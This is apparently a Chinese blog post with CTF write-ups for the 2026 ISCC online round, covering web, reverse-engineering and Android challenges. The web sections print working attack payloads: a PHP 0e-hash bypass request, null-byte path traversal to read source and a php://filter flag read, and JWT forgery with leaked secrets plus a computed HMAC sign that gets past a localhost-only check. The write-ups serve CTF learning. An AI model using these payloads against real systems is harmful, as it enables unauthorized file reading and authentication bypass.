当前位置: 首页 > news >正文

2026ISCC线上

校赛打着玩的,只做了web、re、mobile

web1

flag:

ISCC{hash_collision_v1_0e_2x_stable}

最后用到的请求是:

curl -X POST "http://39.105.213.28:12601/?step1=kkeyey&a=QNKCDZO&b=240610708" -d "a[key]=1337"

这题就是 PHP 弱比较配合 0e 型 MD5 的老套路。QNKCDZO240610708 明明是两个不同字符串,但它们的 MD5 都长成 0e... 的样子。PHP 在用 == 比较时,会把这种值当成科学计数法里的 0,所以哈希检查就被绕过去了。

re

flag:

ISCC{asdaeeoiIlcoIyhylrlutuw}

我最后确认下来的关键点有这些:

  • 兔子洞逻辑会筛出 4 个洞:1, 3, 6, 8
  • 对应值分别是:344, 21, 89, 233
  • 变换顺序是:RC4 -> XOR -> 字节加法 -> TEA
  • 各阶段参数分别是:
    • RC4 key = 344
    • XOR key = 21
    • 字节加法 key = 89
    • TEA key = sha256("233")[:16]

最终比对的密文是:

9BD08E0DEC600BD71C96194CBBCDE4CBBE6ED08C104C8D42

我还顺手跑了一遍原程序,输出是:

Congratulations! Flag is correct!

web2

题目 1:JSON Beautifier

这题前面看着像个普通小工具,实际上洞在预览接口的路径处理上。

站点有两个功能:

  • raw:把 JSON 美化后写进临时预览文件
  • data_uri:把 data:text/plain;base64,... 解码后写进临时预览文件

预览接口是:

/api/preview.php?file=<preview_file>

漏洞点

preview.php 会先把用户传入的 file 拼到临时目录后面,然后再做下面这几步:

$file = str_replace("\0", '', $file);
$requested = TMP_DIR . '/' . $file;
$real = realpath($requested);

问题在于空字节会先被删掉,然后才进入 realpath。所以像下面这种输入:

.%00.%00/.%00.%00/

删掉空字节以后就会变成:

../../

这样就能做目录穿越,直接去读源码。

读源码

我先读了这几个文件:

/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/config.php
/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/preview.php
/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/beautify.php

从配置里能看到几个关键值:

const TMP_DIR = '/tmp/json_preview';
const SRC_API_DIR = APACHE_DOCROOT . '/api';
const FLAG_PATH = '/secret/flag';

另外,preview.php.tmp 文件还有一段特殊处理:

  • 如果 .tmp 文件里存的是一个 URI
  • 而且里面带 resource=/secret/flag
  • 它就会直接 file_get_contents($line) 并把结果回显

它禁掉的 scheme 只有这些:

http, https, ftp, ftps, phar, expect

php://filter 没被拦。

利用思路

思路很直接:先用 data_uri 模式写一个临时文件,内容就是:

php://filter/resource=/secret/flag

然后再去访问这个临时文件对应的预览接口。服务端会把它当成本地资源去读,于是 /secret/flag 就出来了。

payload

提交的数据:

{"data":"data:text/plain;base64,cGhwOi8vZmlsdGVyL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==","preview_type":"data_uri"}

接口会返回类似这样的结果:

{"success":true,"preview_id":"...","preview_file":"preview_xxx.tmp"}

接着访问:

/api/preview.php?file=preview_xxx.tmp

flag

ISCC{x6SZw5XWYdt7YESxR6Au}

re2

这题我直接从 IDA 的字符串窗口切进去,没走太多弯路。

先搜到下面几个字符串:

  • Input Flag:
  • Correct.
  • Wrong.

顺着引用进去以后,可以看到主逻辑在 0x401100 附近。程序先用 scanf("%36s") 读输入,然后自己算长度,要求必须是 0x24,也就是 36 字节,不够就直接失败。

输入的每个字节都会依次经过 3 个函数:

sub_401000: x = rol2(x ^ 0x55); x = (x + i) & 0xff;
sub_401050: key = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF];x = ((x ^ key[i % 8]) + 0x7f) & 0xff;
sub_4010D0: x ^= (i + 0x20);

合起来就是:

x -> rol2(x ^ 0x55) -> +i -> xor key[i%8] -> +0x7f -> xor(i+0x20)

后面程序会 VirtualAlloc 一块内存,把 0x40FEE0 开始的 0x118 字节拷进去,再用伪随机序列异或解密,最后把这段代码当函数执行。

这里还带一层反调试:

  • 正常情况下 seed 是 0xDEADBEEF
  • 检测到调试器后会改成 0x0BADF00D

解密用的 LCG 是:

state = state * 0x19660d + 0x3c6ef35f;
byte = (state >> 24) & 0xff;

把这段动态代码解出来以后,事情就简单了,本质上就是把变换后的 36 个字节跟目标数组逐个比较。目标数组是:

[0xc1,0x8d,0xa9,0x81,0x8f,0x98,0xec,0xd1,0xed,0x50,0x66,0x25,0xe8,0xac,0x54,0xdd,0x7e,0x79,0x79,0x4d,0xf3,0x85,0xd7,0xa4,0xd5,0x9c,0xb5,0x6c,0x3f,0x34,0xdf,0xf1,0xde,0xe9,0x35,0x79]

逆推脚本如下:

target = [0xc1,0x8d,0xa9,0x81,0x8f,0x98,0xec,0xd1,0xed,0x50,0x66,0x25,0xe8,0xac,0x54,0xdd,0x7e,0x79,0x79,0x4d,0xf3,0x85,0xd7,0xa4,0xd5,0x9c,0xb5,0x6c,0x3f,0x34,0xdf,0xf1,0xde,0xe9,0x35,0x79
]
key = [0x12,0x34,0x56,0x78,0x90,0xab,0xcd,0xef]def ror8(x, n):return ((x >> n) | ((x << (8 - n)) & 0xff)) & 0xffans = []
for i, t in enumerate(target):v = t ^ ((i + 0x20) & 0xff)v = ((v - 0x7f) & 0xff) ^ key[i % 8]v = ror8((v - i) & 0xff, 2) ^ 0x55ans.append(v)print(bytes(ans).decode())

跑出来就是:

ISCC{qu1F$1n'r_6&nwHd43lL+^4kT15.jv}

mobile1

这题我分成 4 段来看,整体思路不复杂,但每一段都要对上。

先看 Java 层:

  • PasswordValidator 里一共有 4 段校验
  • Transforms 里能看出几个关键函数:
    • doubleSha256Ascii6
    • foldAscii6ToU24,本质上就是 FNV-1a 取低 24 位
  • Part3Part4 对应的逻辑在 NativeBridge 调到的 libscm_native.so

第一步:先把图里的内容解出来

给到的读数是:

43542?303660

把它当成 12 位十六进制看,按字节解码以后已经很接近明文。再结合 Part1 里的双 SHA-256 常量,只需要修 1 个十六进制位:

43542E303660 -> 43542E3D3660

转成 ASCII 以后得到:

p1 = CT.=6`

第二步:用 p1 反推 p2

先算出:

fold(p1) = 0x05EF45

再代回 Java 里的 atbash/rol24 关系,可以推出:

fold(p2) = 0xEFAF45

第三步:逆 Part3

data.bin 基本全是 0,只有末尾 3 个字节不是 0:

BE AD 8C

把 native 逻辑反过来跑,可以得到下面几个约束:

  • xor(p1) = 0x52
  • xor(p2) = 0x00
  • xor(p3) = 0x00
  • fold(p3) = 0x25B657

第四步:逆 Part4

直接把 native 里的编码过程倒过来,能还原出:

p4 = C0DE!!

汇总

p2p3 做前像求解,限制 6 位可打印 ASCII,满足 fold + xor 条件,再用 native 里硬编码的 SHA-256(key) 常量筛一下,唯一解是:

p2 = NTgWmG
p3 = OhvppQ

最后完整 key 为:

CT.=6`NTgWmGOhvppQC0DE!!

再用这个 key 去解 flag.enc,得到:

ISCC{1ec96564c8f34813d6de1aa2cbf7f1055032514f59b41bd2c18f476bf8a8fb6f}

mobile2

这题就是一条比较标准的 APK 逆向链:先恢复自定义 Base64 表,再从 so 里抠 RC4 和 XOR 的细节,最后把硬编码密文还原出来。

Step 1:解密 AES,拿到自定义 Base64 表

APK 的 assets/bin.data 是加密过的。通读或者遍历 classes*.dex 里的字符串后,可以找到长度为 16 且都是可见字符的字符串。把这些字符串两两组合成 AES 的 KeyIV,去解 bin.data。如果结果全是可见字符,那基本就对了,自定义 Base64 表也就出来了。

Step 2:静态分析 so,恢复底层密钥

接下来转到 lib/x86_64/libmobile01.so,重点看 get_rc4_keyget_xor_key 两个函数。把里面的 leacall 之类的拼接顺序理清楚以后,可以得到:

  • RC4 的基础字符串是 prstuvwxy
  • 但 JNI 实际处理时顺序反了,所以真正的 RC4 key 是 yxwvutsrp
  • XOR 的基础字符串是 qrsxopqzpqrw
  • 每个字符减 1 后,真正参与计算的 XOR key 是 pqrwnopyopqv

Step 3:还原硬编码目标串

libmobile01.so 里扫候选密文,找那种前 7 位像 Base64、后面像十六进制的字符串,然后分三段还原:

  • 第 1 段:前 7 个字符,用前面恢复出的 Custom Base64 解码
  • 第 2 段:后面的 12 个字符,先按 Hex 解成 6 字节,再用 RC4 key yxwvutsrp 还原
  • 第 3 段:剩余的 Hex 字符,按题目里的 XOR 逻辑还原

三段拼起来全是可见字符时,答案就出来了。

我当时用的验证脚本大致就是这个意思:

#!/usr/bin/env python3import json
import re
import struct
import zipfile
from pathlib import Path# 这里用的是解题时的完整验证代码
# 也可以直接复用 solver.py,把这些步骤自动跑完# rc4_joined = "prstuvwxy" -> "yxwvutsrp"
# xor_key_joined = "qrsxopqzpqrw"# 经过验证,最后解出来的 inner 为:
# part1 = b'/9=9;'
# part2 = b"N*'Ej7"
# part3 = b'$\\Kzr'
#
# 拼接后:
# /9=9;N*'Ej7$\\Kzr

flag:

ISCC{/9=9;N*'Ej7$\Kzr}

web3

这题真正的点不在首页查询框,而在于:

Git 泄露 + JWT 伪造 + 旧版签名逻辑恢复

1. 先确认 .git 泄露

首页源码里引用了 /static/main.js,而这个 JS 直接给了一个很显眼的提示:

window.__buildTrace = "/.git/HEAD";

我接着访问了下面几个路径:

/.git/HEAD
/.git/config
/.git/refs/heads/master

都能读,说明 .git 泄露是成立的。

2. 手工还原 Git 对象

因为 .git/indexlogs/HEAD 这些文件拿不到,所以只能按 object 哈希手工往回抠。

先从这里拿到分支头:

/.git/refs/heads/master = 9fdf9b412e7cfe179e59d28f25f47cffd68484e7

再去取 commit object,解压后能得到:

  • 当前 tree:8f738d6f9fb84ee91a26db967752dced4413a96e
  • 父提交:9df0e0cf00ce4994be27713089d701dcbb9183d2

当前 tree 里只有一个文件:

legacy_probe_stub.py

3. 当前版本里泄露的信息

当前版 legacy_probe_stub.py 里能看到:

DEFAULT_AUDITOR = ("auditor", "audit2025")
INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"
JWT_ACCEPTED = ["RS256", "HS256"]

同时还有一句提示:

legacy fallback verifier was removed from this revision
if night shift asks for old sign rule, inspect previous revision

看到这里,基本就能下三个判断:

  • 默认账号可以直接登录
  • 服务端接受 HS256
  • 旧签名逻辑在上一版提交里

4. 先用默认账号登录

登录参数:

username=auditor
password=audit2025

拿到 audit_token 后解码,发现角色是:

{"sub":"auditor","role":"user",...}

直接访问 /auditor/nodes 会返回 403,说明普通登录只给了 role=user

5. 伪造审计员 JWT

因为源码写了:

JWT_ACCEPTED = ["RS256", "HS256"]
INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"

所以我直接用 HS256 自己签一个 token,payload 里把角色改成 auditor

{"sub": "auditor","role": "auditor","iat": now,"exp": now + 1800,"iss": "夜班审计台"
}

签名密钥就是:

ISCC_2026_JWT_DEBUG_KEY_#9527

带着这个 token 再访问 /auditor/nodes,就能进审计员页面了。

6. 继续抠父提交,恢复旧签名逻辑

父提交里还是 legacy_probe_stub.py,但 blob 不一样。把旧版解出来以后,可以看到:

SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"
LOCAL_ONLY = ("127.0.0.1", "::1")
AUDIT_NODE = "core-storage-01"
TIME_WINDOW = 60def verify_probe(node_id: str, ts: int, sign: str) -> bool:"""internal/audit fallback:msg = f"{node_id}:{ts}"expected = HMAC_SHA256_hex(SERVER_SECRET, msg)abs(now-ts) <= 60remote_addr in LOCAL_ONLY"""

这样旧接口的校验规则就完全恢复出来了:

  • node_id = core-storage-01
  • msg = f"{node_id}:{ts}"
  • sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", msg)
  • 时间窗口是 60 秒
  • 只允许本地访问

最后这个“只允许本地访问”的限制并不麻烦,因为 /auditor/nodes 会由服务端代请求,等于帮我们绕过了来源 IP 检查。

7. 计算签名并提交

先算:

ts = 当前秒级时间戳
sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", f"core-storage-01:{ts}")

然后以审计员身份向 /auditor/nodes 发 POST,请求参数是:

node_id=core-storage-01
ts=<当前时间戳>
sign=<计算出的 hex 签名>

最终返回:

node_id=core-storage-01, status=OK, flag=ISCC{dcDEwhPp5cQU86X757Vr}

flag

ISCC{dcDEwhPp5cQU86X757Vr}

http://www.jsqmd.com/news/766066/

相关文章:

  • 基于OpenClaw与Alpaca API的自动化交易技能实践指南
  • [20260506]建立完善ipcs.sql脚本.txt
  • DGX Spark软件优化与模型加速技术
  • VRoidStudio汉化插件终极指南:3步实现3D角色设计软件中文界面
  • php中mysqli_fentch四种常用查询函数的比较表及实例演示详解
  • NVDLA卷积流水线实战解析:从CDMA到CACC,手把手拆解硬件加速器的数据流
  • 技术解析:abqpy如何重塑Abaqus Python脚本开发的类型生态
  • 传统觉得人脉越多赚钱速度越快,编程统计人脉数量,实际合作收益数据,精简优质人脉远胜杂乱泛泛社交。
  • 魔兽地图格式转换的技术架构解析:w3x2lni系统设计深度剖析
  • [20260505]关于内核参数kernel.shmmax.txt
  • 实战指南:基于快马平台构建集成Hermes引擎的企业级React Native应用
  • 西门子PLC通信开发不再难:S7.NET+库带你轻松搞定工业自动化
  • Embedding 向量化实战:从单批次到批量处理的深度解析
  • 【7】RocketMQ架构全景
  • 座舱式个人飞行器 - 每日详细制作步骤(第1-2周)
  • 告别双系统!Win11下用WSL2+Anaconda打造无缝AI开发环境(保姆级避坑)
  • AICoverGen:零基础制作专业AI翻唱歌曲的完整指南
  • 如何用OpenDrop开源数字微流控平台掌控微观世界:3步搭建你的生物实验室
  • Unity AI副驾驶Coplay:用自然语言与流水线重塑游戏开发工作流
  • 深度学习优化核心:梯度下降与网络训练全解析
  • 看完这篇,彻底搞懂大模型:30个核心机制全解析
  • Confection v0.1.0 配置解析增强
  • 地物杂波损耗详细公式与分析
  • VLC媒体播放器:从入门到精通的完全指南 [特殊字符]
  • 多因子检测技术解锁动脉粥样硬化的分子密码:从生物标志物到系统评估
  • 2026 代际领先・纯视觉定义室外无感新范式
  • 阴阳师OAS脚本:如何用3分钟实现游戏自动化?
  • STC8H1K08单片机SPI实战:手把手教你驱动nRF24L01无线模块(附完整代码与避坑指南)
  • 座舱式个人飞行器 - 每日详细制作步骤(第3-4周)
  • ElementUI DatePicker 日期选择器:从基础配置到自定义快捷选项的完整指南